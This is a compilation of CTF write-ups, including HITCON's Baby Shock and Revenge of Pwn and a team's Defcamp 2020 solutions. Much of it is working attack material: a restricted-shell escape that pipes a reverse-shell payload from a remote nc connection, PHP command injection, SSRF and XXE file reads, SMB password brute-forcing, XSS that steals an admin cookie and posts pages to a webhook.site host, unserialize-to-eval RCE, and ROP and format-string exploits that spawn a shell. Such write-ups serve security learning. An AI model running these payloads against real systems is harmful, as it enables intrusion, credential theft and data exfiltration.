`hitcon{i_Am_s0_m155_s3e11sh0ck}` ## Revenge of Baby Shock (230pts) #### The Setup - The same set of programs are allowed as the previous challenge, however this time we additionally cannot use `.` or `;`. - Our previous payload therefore doesn't work at all. #### Unexpected function definition - We discover that we can define a shell function without using the conventional syntax. `pwd ()(echo hello)` then running `pwd` will echo hello. In fact, even `pwd () echo hello` works in the busybox sh, although not when tested locally in bash. - The function assignment is permitted as we started our command line with an allowed program. The function we created takes precedence over the `pwd` shell builtin. - Now we need to find a way to use arbitrary input to get a reverse shell. The previous `wget` payload won't work as we can't even use a single `.` this time to execute `index.html`. #### Session recording with script - We can open a `script` session to record our interactions inside the shell to a file (`pwd () script f` then `pwd`). - Then we connect to our remote server with `pwd () nc 778385173 4444` and type the Python reverse shell payload in on our box. - After exiting the session, we'll have a script file `f` including our payload but it will also have some bad lines like `Script started, file is f` #### Cleaning up with vim - We can use `vim` to edit the file! After opening Vim, our input is sent to it (after being parsed for restricted characters). - For instance `du dd :wq` will delete a line then save the file. `du` is good to use here as it doesn't do anything in Vim. - Once the file has been sufficiently cleaned up, it can be executed like in the previous challenge to give a shell. Flag: `hitcon{r3v3ng3_f0r_semic010n_4nd_th4nks}`
<h1>endless_wait</h1>Points: 473 <h1>Category</h1>Reverse Engineering <h1>Problem</h1><h3>Can you wait for eternity? Author:-n1kolai</h3> <h1>Solution</h1> Original binary:Patched binary: I found two things that need to be patched in this binary: - SIGALRM (https://linuxhint.com/sigalarm_alarm_c_language/) - Anti-Debug linux technique ptrace (https://stackoverflow.com/questions/33646089/using-ptrace-to-detect-debugger) ![Alt text](https://i.imgur.com/d3OzP6S.png "Title") ![Alt text](https://i.imgur.com/xiEwGLx.png "Title") After patching(nop slides) our binary looks like: ![Alt text](https://i.imgur.com/58ZdiS8.png "Title") ![Alt text](https://i.imgur.com/mS11m5o.png "Title") Now we excluded one function, so we know that second one is valid for our flag, let's chek I was very interested how stack looks after all ![Alt text](https://i.imgur.com/CHzRfP7.png "Title") I put the breakpoint a bit further and read what the stack looks like ![Alt text](https://i.imgur.com/ybBsOO5.png "Title") I read the following string: bqz0wm0qctdn2gbrdmoazosbtsc {jmpgzadbtjc1amenzngbcnceam_gn1dzsab_ccnhm0nntlx_ackebehmyvn_lzhabencrhmevn}azqazwsxedc After analyzing function strcmp would give us message is our input correct or not, but generating flag was independent of that ```C char flag[48]; const char* runtimeArray = "bqz0wm0qctdn2gbrdmoazosbtsc{jmpgzadbtjc1amenzngbcnceam_gn1dzsab_ccnhm0nntlx_ackebehmyvn_lzhabencrhmevn}azqazwsxedc"; for (int i = 0; i < 0x23; i++) { flag[i] = *(char*)(runtimeArray + (i * 3)); } puts(flag);``` Flag: b00t2root{pat1ence_1s_n0t_key_here}
# Revenge of Pwn_Category: misc, pwn_ ## Description> Have you ever thought those challenges you pwned may retaliate someday?> `nc 3.115.58.219 9427`> [revenge_of_pwn-255196bb99d75512732a4109f154103b4bc428e6e29e2cdcc69e44aee67ea75f.tar.gz](revenge_of_pwn-255196bb99d75512732a4109f154103b4bc428e6e29e2cdcc69e44aee67ea75f.tar.gz) ## README.md (from the challenge files) `exploit.py` is able to exploit `chal/vuln`. ```exploit.py --- pwn ---> chal/vuln 127.0.0.1:1337``` Now you have the chance to *replace* the binary listening on 1337 port,and you need to pwn the script who is pwning your binary! ```exploit.py --- (will try to) pwn ---> <your uploaded file> ^ 127.0.0.1:1337 | |you need to pwn this``` The flag is located at `/home/deploy/flag`, which is readable by `exploit.py`. ## Solution We need to coax `exploit.py` into giving us a copy of the flag, which it can read. To get started, we need to understand the `exploit.py` script itself.Looking through the source, there are only a few places where we get a chance to specify user input. They are as follows:```pystk = int(r.recvline(), 16)log.info('stk @ ' + hex(stk))# some time latershellcraft.read('rbp', stk + 48, 100) +shellcraft.mov('rax', stk + 48) + 'jmp rax'r.send(b'@' * 40 + p64(stk+48) + stage1)```This cannot be used in any meaningful way for us because it is cast to an integer before being used in shellcode. Even if we do supply a "malicious" value, it will only result in our program being sent bogus shellcode. Another option is as follows:```pyd = str(s.recvuntil('@')[:-1], 'ascii')log.info('sock fd @ ' + fd)stage2 = asm(shellcraft.stager(fd, 0x4000))```This works much better for us, because we have an unlimited length string that is placed directly into the shellcode before it is assembled. It is not obvious from the function, but `shellcraft.stager` will simply concatinate the value for `fd` into assembly. Now all we need to do is find something we can put in the assembly that when assembled, will let us see the flag. The simpliest option here is just to `#include flag.txt`, though there are some other options that result in the flag being sent back to our program we upload instead. The final hurdle is the size limit on the ELF we upload:```ELF size? (MAX: 6144)9999¯\_(ツ)_/¯``` The easiest option here is to just use shellcraft to generate a very small ELF with the payload we require. Putting it all together, we end up with:```pyfrom pwn import *context.arch = 'amd64' stk = "stack address @ 0x1\n"evil_str = "1\n#include \"/home/deploy/flag\"@" elf = make_elf( asm( shellcraft.pushstr(stk) + shellcraft.write(1, 'rsp', len(stk)) + """ MOV rcx, 5000000000L1:DEC rcxJNZ L1 """ + shellcraft.amd64.connect('127.0.0.1', 31337) + shellcraft.pushstr(evil_str) + shellcraft.write('rbp', 'rsp', len(evil_str)) + shellcraft.read('rbp', 'rsp', 10000) + shellcraft.write('rbp', 'rsp', 10000) )) io=remote("3.115.58.219", 9427) io.recvuntil('ELF size? (MAX: 6144)')io.sendline(str(len(elf)))io.send(elf)io.stream()``` The only extra code in there is a busy loop, which helps make sure we don't try to connect to the stage2 handler too early.
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: 